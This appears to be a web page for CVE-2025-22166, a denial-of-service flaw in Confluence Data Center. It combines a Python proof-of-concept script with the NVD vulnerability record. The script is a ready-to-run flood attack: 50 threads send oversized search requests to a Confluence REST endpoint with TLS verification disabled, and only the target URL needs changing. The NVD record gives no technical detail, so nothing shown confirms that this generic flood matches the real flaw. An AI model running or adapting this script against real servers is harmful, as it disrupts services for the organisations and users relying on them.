CVE-2025-22166

# CVE-2025-22166 - Confluence Data Center DoS PoC # This PoC demonstrates a Denial of Service attack against vulnerable Confluence instances # Affected versions: Confluence Data Center 8.5 < 8.5.25, 9.2 < 9.2.7, 10.0 < 10.0.2 import requests import threading import time TARGET_URL = "https://target-confluence-instance.com" NUM_THREADS = 50 REQUESTS_PER_THREAD = 100 def send_malicious_request(session, thread_id): """Send crafted request to trigger resource exhaustion""" for i in range(REQUESTS_PER_THREAD): try: # Target endpoint that triggers resource-intensive processing headers = { "User-Agent": "Mozilla/5.0 (compatible; DoS-PoC)", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded" } # Crafted payload to trigger resource exhaustion payload = { "queryString": "A" * 10000, # Oversized parameter "maxResults": 999999 } response = session.post( f"{TARGET_URL}/rest/api/content/search", headers=headers, data=payload, timeout=10, verify=False ) print(f"Thread {thread_id} - Request {i}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"Thread {thread_id} - Request {i}: Error - {e}") def main(): print(f"[*] Starting DoS attack against {TARGET_URL}") print(f"[*] Threads: {NUM_THREADS}, Requests per thread: {REQUESTS_PER_THREAD}") threads = [] for i in range(NUM_THREADS): session = requests.Session() t = threading.Thread(target=send_malicious_request, args=(session, i)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack completed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-22166", "sourceIdentifier": "[email protected]", "published": "2025-10-21T16:15:37.370", "lastModified": "2025-12-05T19:22:44.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This High severity DoS (Denial of Service) vulnerability was introduced in version 2.0 of Confluence Data Center.\r\n\r\nThis DoS (Denial of Service) vulnerability, with a CVSS Score of 8.3, allows an attacker to cause a resource to be unavailable for its intended users by temporarily or indefinitely disrupting services of a host connected to a network.\r\n\r\nAtlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\r\n Confluence Data Center and Server 8.5: Upgrade to a release greater than or equal to 8.5.25\r\n Confluence Data Center and Server 9.2: Upgrade to a release greater than or equal to 9.2.7\r\n Confluence Data Center and Server 10.0: Upgrade to a release greater than or equal to 10.0.2\r\n\r\nSee the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]).\r\n\r\nThis vulnerability was reported via our Atlassian (Internal) program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-405"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.0", "versionEndExcluding": "8.5.25", "matchCriteriaId": "6D558D1C-94B1-4F03-B25D-5C9572ACD9D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.7", "matchCriteriaId": "CEEEF74E-9B32-4CA0-B892-C5559B44F031"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.2", "matchCriteriaId": "46B5C105-6E80-4CE7-9928-8C0C6321E94E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.0", "versionEndExcluding": "8.5.25", "matchCriteriaId": "D8BA896B-97EF-4D11-82F8-BBCADE5DAE45"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.7", "matchCriteriaId": "9CFF1E61-C6D4-4699-AD54-C8C7F4D1282F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.2", "matchCriteriaId": "100D4CEB-7E91-4046-82D7-1BBF48EFB7E1"}]}]}], ... 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